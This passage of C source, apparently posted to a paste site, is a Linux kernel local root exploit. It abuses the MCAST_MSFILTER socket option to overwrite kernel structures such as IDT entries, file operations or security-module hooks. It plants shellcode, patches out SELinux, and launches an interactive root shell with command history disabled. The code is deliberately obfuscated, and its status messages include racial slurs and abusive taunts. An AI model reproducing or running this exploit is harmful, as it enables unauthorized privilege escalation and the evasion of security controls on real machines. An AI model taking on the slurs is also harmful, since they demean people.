  1192.   return socklen_l;
  1193.  
  1194. }
  1195.  
  1196.    
  1197.  
  1198. static struct socketcallAT at;
  1199.  
  1200. static __dgdhdytrg55 idtover[4] =  
  1201.  
  1202.              {0x00100000UL,  
  1203.  
  1204.               0x0020ee00UL,  
  1205.  
  1206.               0x00000000UL,  
  1207.  
  1208.               0x00000000UL};
  1209.  
  1210.    
  1211.  
  1212.    
  1213.  
  1214. static void fillsocketcallAT()
  1215.  
  1216. {
  1217.  
  1218. at.s = s;
  1219.  
  1220. at.level = SOL_IP;
  1221.  
  1222. at.optname = MCAST_MSFILTER;
  1223.  
  1224. at.optval = buffer;
  1225.  
  1226. at.optlen = &magiclen;
  1227.  
  1228. }
  1229.  
  1230.    
  1231.  
  1232.    
  1233.  
  1234. static void bitch_call(struct socketcallAT *at, void *stack)
  1235.  
  1236. {
  1237.  
  1238.   asm volatile(
  1239.  
  1240.       "push %%ebx\t\n"
  1241.  
  1242.       "push %%esi\t\n"
  1243.  
  1244.       "push %%ecx\t\n"
  1245.  
  1246.       "push %%edx\t\n"
  1247.  
  1248.       "movl $0x66, %%eax\t\n"
  1249.  
  1250.       "movl $0xf, %%ebx\t\n"
  1251.  
  1252.       "movl %%esp, %%esi\t\n"
  1253.  
  1254.       "movl %0, %%ecx\t\n"
  1255.  
  1256.       "movl %1, %%esp\t\n"
  1257.  
  1258.       "int $0x80\t\n"
  1259.  
  1260.       "movl %%esi, %%esp\t\n"
  1261.  
  1262.       "pop %%edx\t\n"
  1263.  
  1264.       "pop %%ecx\t\n"
  1265.  
  1266.       "pop %%esi\t\n"
  1267.  
  1268.       "pop %%ebx\t\n"
  1269.  
  1270.       :  : "r"(at), "r"(stack)  : "memory", "eax", "ecx", "ebx", "esi"
  1271.  
  1272.      );
  1273.  
  1274. }
  1275.  
  1276.    
  1277.  
  1278. static void __setmcbuffer(__dgdhdytrg55 value)
  1279.  
  1280. {
  1281.  
  1282.   int i;
  1283.  
  1284.   __dgdhdytrg55 *p = (__dgdhdytrg55*)buffer;
  1285.  
  1286.   for(i=0; i<sizeof(buffer)/sizeof(void*); i++)
  1287.  
  1288.     *(p+i) = value;
  1289.  
  1290. }
  1291.  
  1292.    
  1293.  
  1294. static void idt_smash(__yyrhdgdtfs66ytgetrfd idtbase)
  1295.  
  1296. {
  1297.  
  1298.   int i;
  1299.  
  1300.   __dgdhdytrg55 curr;
  1301.  
  1302.   for(i=0; i<sizeof(idtover)/sizeof(idtover[0]);i++)
  1303.  
  1304.   {
  1305.  
  1306.     curr = idtover[i];  
  1307.  
  1308.     __setmcbuffer(curr);
  1309.  
  1310.     magiclen =  get_socklen(idtbase + (i*4), Y0Y0STOP);
  1311.  
  1312.     bitch_call(&at, (void*)Y0Y0STOP);
  1313.  
  1314.   }  
  1315.  
  1316. }
  1317.  
  1318.    
  1319.  
  1320.    
  1321.  
  1322. static void y0y0stack()
  1323.  
  1324. {
  1325.  
  1326.   void* map = mmap((void*)Y0Y0SMAP,  
  1327.  
  1328.                    PAGE_SIZE,  
  1329.  
  1330.                    PROT_READ|PROT_WRITE,  
  1331.  
  1332.                    MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED,  
  1333.  
  1334.                    -1,0);
  1335.  
  1336.   if(MAP_FAILED == map)
  1337.  
  1338.     __xxxfdgftr_hshsgdt("mmap");  
  1339.  
  1340. }
  1341.  
  1342.    
  1343.  
  1344. static void y0y0code()
  1345.  
  1346. {
  1347.  
  1348.   void* map = mmap((void*)Y0Y0CMAP,  
  1349.  
  1350.                    PAGE_SIZE,  
  1351.  
  1352.    
  1353.  
  1354. #ifdef TRY_REMAP_DEFAULT  
  1355.  
  1356.            PROT_READ|PROT_WRITE,
  1357.  
  1358. #else
  1359.  
  1360.                    PROT_READ|PROT_WRITE|PROT_EXEC,  
  1361.  
  1362. #endif
  1363.  
  1364.                    MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED,  
  1365.  
  1366.                    -1,0);
  1367.  
  1368.   if(MAP_FAILED == map)
  1369.  
  1370.     __xxxfdgftr_hshsgdt("mmap");  
  1371.  
  1372.    
  1373.  
  1374. }
  1375.  
  1376.    
  1377.  
  1378.    
  1379.  
  1380. static int rey0y0code(unsigned long old)
  1381.  
  1382. {
  1383.  
  1384.   int fd;
  1385.  
  1386.   void *map;
  1387.  
  1388.   volatile char wizard;
  1389.  
  1390.   char cwd[1024];
  1391.  
  1392.    
  1393.  
  1394.   getcwd(cwd, sizeof(cwd));  
  1395.  
  1396.   strcat(cwd, "/__tmpfile");
  1397.  
  1398.    
  1399.  
  1400.   unlink(cwd);
  1401.  
  1402.   fd = open(cwd, O_RDWR|O_CREAT, S_IRWXU);
  1403.  
  1404.   if(fd < 0)
  1405.  
  1406.     return -1;  
  1407.  
  1408.    
  1409.  
  1410.   write(fd, (const void*)old, PAGE_SIZE);  
  1411.  
  1412.   if(munmap((void*)old, PAGE_SIZE) < 0)
  1413.  
  1414.     return -1;
  1415.  
  1416.    
  1417.  
  1418.   map = mmap((void*)old,  
  1419.  
  1420.                    PAGE_SIZE,  
  1421.  
  1422.                    PROT_READ|PROT_EXEC,  
  1423.  
  1424.                    MAP_PRIVATE|MAP_FIXED,  
  1425.  
  1426.                    fd,0);
  1427.  
  1428.   if(map == MAP_FAILED)
  1429.  
  1430.     return -1;  
  1431.  
  1432.    
  1433.  
  1434.   /* avoid lazy page fault handler  
  1435.  
  1436.    * Triple Fault when using idt vector  
  1437.  
  1438.    * and no pages are already mapped:)
  1439.  
  1440.    */
  1441.  
  1442.    
  1443.  
  1444.   wizard = *((char*)old);
  1445.  
  1446.   unlink(cwd);
  1447.  
  1448.   return wizard;  
  1449.  
  1450. }
  1451.  
  1452.    
  1453.  
  1454.    
  1455.  
  1456. int main(int argc, char*argv[])
  1457.  
  1458. {
  1459.  
  1460.   int uid,fd;
  1461.  
  1462.   __yyrhdgdtfs66ytgetrfd *patch, idtb;
  1463.  
  1464.   struct pollfd pfd;
  1465.  
  1466.      
  1467.  
  1468.      
  1469.  
  1470.   printf(BANNER);
  1471.  
  1472.    
  1473.  
  1474.   uid = getuid();
  1475.  
  1476.    
  1477.  
  1478.   env_prepare(argc, argv);
  1479.  
  1480.    
  1481.  
  1482.   y0y0stack();  
  1483.  
  1484.   y0y0code();
  1485.  
  1486.    
  1487.  
  1488.   if(useidt)
  1489.  
  1490.   {
  1491.  
  1492.     idtb = getidt();
  1493.  
  1494.     __gggdfstsgdt_dddex("$$$ h0m3 b4s3 addr3ss: %llx\n", idtb);
  1495.  
  1496.     __pppp_tegddewyfg("$$$ Bu1ld1ng r1ngzer0c00l sh3llc0d3 - IDT m3th34d\n");    
  1497.  
  1498.     patch = (__yyrhdgdtfs66ytgetrfd*)(ruujhdbgatrfe345 + RJMPDDTGR_OFF_IDT);
  1499.  
  1500.     *patch = (__yyrhdgdtfs66ytgetrfd)(J0J0R00T);
  1501.  
  1502.    
  1503.  
  1504.     __pppp_tegddewyfg("$$$ Prepare: m0rn1ng w0rk0ut b1tch3z\n");
  1505.  
  1506.    
  1507.  
  1508.     if(flags & KERN_DIS_GGSTEYGDTREFRET_SEL1NUX)
  1509.  
  1510.     {
  1511.  
  1512.       __pppp_tegddewyfg("$$$ add1ng sp3c14l c0de t0 rem0v3 s3linux t3rr0r1zt thr34t\n");
  1513.  
  1514.       p4tch_sel1nux_codztegfaddczda(curr_target);
  1515.  
  1516.     }
  1517.  
  1518.          
  1519.  
  1520.     __dhdyetgdfstreg__((void*)J0J0S,  ruujhdbgatrfe345, sizeof(ruujhdbgatrfe345));
  1521.  
  1522.   }
  1523.  
  1524.   else if(usefops || uselsm)
  1525.  
  1526.   {
  1527.  
  1528.     __pppp_tegddewyfg("$$$ Bu1ld1ng r1ngzer0c00l sh3llc0d3 - F0PZzzZzZZ/LSD(M) m3th34d\n");    
  1529.  
  1530.     patch = (__yyrhdgdtfs66ytgetrfd*)(ttrfd0 + RJMPDDTGR_OFF);
  1531.  
  1532.     *patch = (__yyrhdgdtfs66ytgetrfd)(J0J0R00T);
  1533.  
  1534.    
  1535.  
  1536.     __setmcbuffer(J0J0S);
  1537.  
  1538.    
  1539.  
  1540.     __pppp_tegddewyfg("$$$ Prepare: m0rn1ng w0rk0ut b1tch3z\n");
  1541.  
  1542.     if(uselsm && (flags & KERN_DIS_GGSTEYGDTREFRET_SEL1NUX))
  1543.  
  1544.     {
  1545.  
  1546.         __pppp_tegddewyfg("$$$ add1ng sp3c14l c0de t0 rem0v3 s3linux t3rr0r1zt thr34t\n");
  1547.  
  1548.     p4tch_sel1nux_codztegfaddczda(curr_target);
  1549.  
  1550.     }  
  1551.  
  1552.     __dhdyetgdfstreg__((void*)J0J0S, ttrfd0, sizeof(ttrfd0));
  1553.  
  1554.   }
  1555.  
  1556.      
  1557.  
  1558.    
  1559.  
  1560.    
  1561.  
  1562.   /* set shellcode level 2 */
  1563.  
  1564.   if(flags & KERN_DGGDYDTEGGETFDRLAK)
  1565.  
  1566.   {
  1567.  
  1568.     __pppp_tegddewyfg("$$$ Us1ng cr3d s3ash3llc0d3z\n");
  1569.  
  1570.     __dhdyetgdfstreg__((void*)J0J0R00T, r1ngrrrrrrr, sizeof(r1ngrrrrrrr));
  1571.  
  1572.   }
  1573.  
  1574.   else
  1575.  
  1576.   {
  1577.  
  1578.     __pppp_tegddewyfg("$$$ Us1ng st4nd4rd s3ash3llz\n");
  1579.  
  1580.     __dhdyetgdfstreg__((void*)J0J0R00T,  ttrg0ccc, sizeof(ttrg0ccc));
  1581.  
  1582.     *((unsigned int*)(J0J0R00T + R0C_0FF)) = uid;
  1583.  
  1584.   }
  1585.  
  1586.    
  1587.  
  1588.   __pppp_tegddewyfg("$$$ 0p3n1ng th3 m4giq p0rt4l\n");
  1589.  
  1590.   s = socket(AF_INET, SOCK_DGRAM, 0);
  1591.  
  1592.   if(s < 0)
  1593.  
  1594.     __xxxfdgftr_hshsgdt("socket");
  1595.  
  1596.    
  1597.  
  1598.   fillsocketcallAT();
  1599.  
  1600.    
  1601.  
  1602.    
  1603.  
  1604. #ifdef TRY_REMAP_DEFAULT
  1605.  
  1606.   if(rey0y0code(Y0Y0CMAP) < 0)
  1607.  
  1608.     __yyy_tegdtfsrer("!!! Un4bl3 t0 r3m4p sh1t\t\n");
  1609.  
  1610. #endif
  1611.  
  1612.    
  1613.  
  1614.   if(useidt)
  1615.  
  1616.   {
  1617.  
  1618.    
  1619.  
  1620.     __yyrhdgdtfs66ytgetrfd idtentry = idtb + (2*sizeof(__yyrhdgdtfs66ytgetrfd)*0xdd);
  1621.  
  1622.     __gggdfstsgdt_dddex("$$$ Us1ng 1dt 3ntry: %d\n", 0xdd);
  1623.  
  1624.     idt_smash((idtentry));
  1625.  
  1626.    
  1627.  
  1628.     sleep(1);
  1629.  
  1630.     asm volatile("int $0xdd\t\n");
  1631.  
  1632.   }
  1633.  
  1634.   else if(usefops)
  1635.  
  1636.   {
  1637.  
  1638.     magiclen = get_socklen(_m_fops, Y0Y0STOP);
  1639.  
  1640.     magiclen -= 7*sizeof(__yyrhdgdtfs66ytgetrfd);
  1641.  
  1642.     __gggdfstsgdt_dddex("$$$ m4q1c p0rt4l l3n f0und: 0x%x\n", magiclen);  
  1643.  
  1644.      
  1645.  
  1646.     __pppp_tegddewyfg("$$$ 0v3r thr0w f0ps g0v3rnm3nt\n");
  1647.  
  1648.     bitch_call(&at, (void*)Y0Y0STOP);
  1649.  
  1650.     sleep(1);
  1651.  
  1652.    
  1653.  
  1654.     fd = open(TMAGIC_66TDFDRTS, O_RDONLY);
  1655.  
  1656.     if(fd < 0)
  1657.  
  1658.       __xxxfdgftr_hshsgdt("!!! fuq t1m3r_l1st");
  1659.  
  1660.        
  1661.  
  1662.     pfd.fd = fd;
  1663.  
  1664.     pfd.events = POLLIN | POLLOUT;
  1665.  
  1666.     poll(&pfd, 1, 0);
  1667.  
  1668.   }
  1669.  
  1670.   else if(uselsm)
  1671.  
  1672.   {
  1673.  
  1674.     int msqid;
  1675.  
  1676.     __yyrhdgdtfs66ytgetrfd selinux_msg_off = curr_target->selinux_ops + (8*RHEL_LSM_OFF);
  1677.  
  1678.     __yyrhdgdtfs66ytgetrfd dummy_msg_off   = curr_target->dummy_security_ops + (8*RHEL_LSM_OFF);
  1679.  
  1680.     __yyrhdgdtfs66ytgetrfd capability_msg_off = curr_target->capability_ops + (8*RHEL_LSM_OFF);
  1681.  
  1682.    
  1683.  
  1684.    
  1685.  
  1686.     msqid = msgget(0, IPC_PRIVATE|0600);
  1687.  
  1688.     if(msqid < 0)
  1689.  
  1690.       __xxxfdgftr_hshsgdt("!!! fuqqqqqq msgg3t");
  1691.  
  1692.          
  1693.  
  1694.    
  1695.  
  1696.     magiclen =  get_socklen(selinux_msg_off, Y0Y0STOP);
  1697.  
  1698.     __setmcbuffer(J0J0S);
  1699.  
  1700.     bitch_call(&at, (void*)Y0Y0STOP);
  1701.  
  1702.     magiclen = get_socklen(selinux_msg_off+4, Y0Y0STOP);
  1703.  
  1704.     __setmcbuffer(0);
  1705.  
  1706.     bitch_call(&at, (void*)Y0Y0STOP);
  1707.  
  1708.    
  1709.  
  1710.    
  1711.  
  1712.     magiclen =  get_socklen(dummy_msg_off, Y0Y0STOP);
  1713.  
  1714.     __setmcbuffer(J0J0S);
  1715.  
  1716.     bitch_call(&at, (void*)Y0Y0STOP);
  1717.  
  1718.     magiclen =  get_socklen(dummy_msg_off+4, Y0Y0STOP);
  1719.  
  1720.     __setmcbuffer(0);
  1721.  
  1722.     bitch_call(&at, (void*)Y0Y0STOP);
  1723.  
  1724.    
  1725.  
  1726.    
  1727.  
  1728.     magiclen =  get_socklen(capability_msg_off, Y0Y0STOP);
  1729.  
  1730.     __setmcbuffer(J0J0S);
  1731.  
  1732.     bitch_call(&at, (void*)Y0Y0STOP);
  1733.  
  1734.     magiclen =  get_socklen(capability_msg_off+4, Y0Y0STOP);
  1735.  
  1736.     __setmcbuffer(0);
  1737.  
  1738.     bitch_call(&at, (void*)Y0Y0STOP);
  1739.  
  1740.    
  1741.  
  1742.    
  1743.  
  1744.     msgctl(msqid, IPC_RMID, (struct msqid_ds *) NULL); // exploit it
  1745.  
  1746.   }
  1747.  
  1748.    
  1749.  
  1750.   munmap((void*)Y0Y0CMAP, PAGE_SIZE);
  1751.  
  1752.    
  1753.  
  1754.   /* exec */
  1755.  
  1756.   if(getuid() == 0)
  1757.  
  1758.   {
  1759.  
  1760.     pid_t pid;
  1761.  
  1762.     __pppp_tegddewyfg("$$$ bl1ng bl1ng n1gg4 :PppPpPPpPPPpP\n");
  1763.  
  1764.     pid = fork();
  1765.  
  1766.     if(pid == 0)
  1767.  
  1768.     {
  1769.  
  1770.       char *args[] = {"/bin/sh", "-i", NULL};
  1771.  
  1772.       char *envp[] = {"TERM=linux", "BASH_HISTORY=/dev/null", "HISTORY=/dev/null", "history=/dev/null", "HISTFILE=/dev/null", "HISTFILESIZE=0",
  1773.  
  1774.                       "PATH=/bin:/sbin:/usr/sbin:/usr/bin:/usr/local/bin:/usr/local/sbin", NULL };
  1775.  
  1776.       execve("/bin/sh", args, envp);
  1777.  
  1778.     }  
  1779.  
  1780.     else  
  1781.  
  1782.     {
  1783.  
  1784.       int status;
  1785.  
  1786.       waitpid(pid, &status, 0);
  1787.  
  1788.     }
  1789.  
  1790.   }
  1791.  
  1792.   else
  1793.  
  1794.     __pppp_tegddewyfg("!!! y0u fuq1ng f41l. g3t th3 fuq 0ut!\n");
  1795.  
  1796.    
  1797.  
  1798.   close(s);
  1799.  
  1800.   return 0;
  1801.  
  1802. }
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!